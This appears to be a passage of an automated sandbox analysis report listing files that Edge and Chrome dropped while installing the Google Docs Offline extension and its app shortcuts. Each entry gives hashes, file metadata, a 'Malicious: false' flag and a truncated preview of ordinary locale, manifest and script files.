SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 17:52:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9840434429964953
Encrypted:	false
SSDEEP:	48:8XRd3TvnqHNidAKZdA19ehwiZUklqeh9y+3:8j70Wy
MD5:	0634373DD6DECFCA7032E8951CBCC31C
SHA1:	BF51398BC42AD510A13F441A4AB4935CBF43962B
SHA-256:	67F2FF3CA4DBE5E62A70AB6C6B910070E4327486809DA54637C98E43BA2FD0A2
SHA-512:	BCC0404C4A6A37E7F50B6821A976972C2A5C5E07FC490A4E49DB0A1FD54E20DD461C9D147D3A619989DBEB45FF37BE4EAF4067D82180A86E34BCCE1171702823
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....[..j4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 17:52:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9987510375419832
Encrypted:	false
SSDEEP:	48:82d3TvnqHNidAKZdA1weh/iZUkAQkqehGy+2:8m7G9Qzy
MD5:	93EA692689A2A6713A20DC29E2B01F1F
SHA1:	9DFDC2DC281A2EDAEDDEC3E249995B6F09AD8BBA
SHA-256:	1257C5B10C6D4CADDB54D203D0D3ECE1C407414D2C1A9C93D10DD7BF2C2ED35D
SHA-512:	C3E3A282874FF0C66569A2469B2B32B88EF23081687C39C16643DF10B9C624D3C7FC06EA719DAC10931FA5ED83AC4C90637161C0A7BBBAFAD9BD7B63663097C9
Malicious:	false
Preview:	L..................F.@.. ...$+.,........j4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.009440413524946
Encrypted:	false
SSDEEP:	48:8xQd3TvnsHNidAKZdA14tseh7sFiZUkmgqeh7sUy+BX:8xE7Mn6y
MD5:	2D5CD6B8A6E617512AAC9596417A052E
SHA1:	F5249A08F4437B8500CA8EEC14621A3B49A3BA67
SHA-256:	B26C5A8CFA2A1103F2B3379CC27DDA9977FD13B64838805EDAACAE78B0DE86BC
SHA-512:	64142E967124228DEF75CF9695F700139C4D8EB1655A870E34D5450CDC7DE2BBADB22211B1C184B8A11F67D8DAE4FE3E60069E4E365E24BD9CCBEAD9AC90667A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. 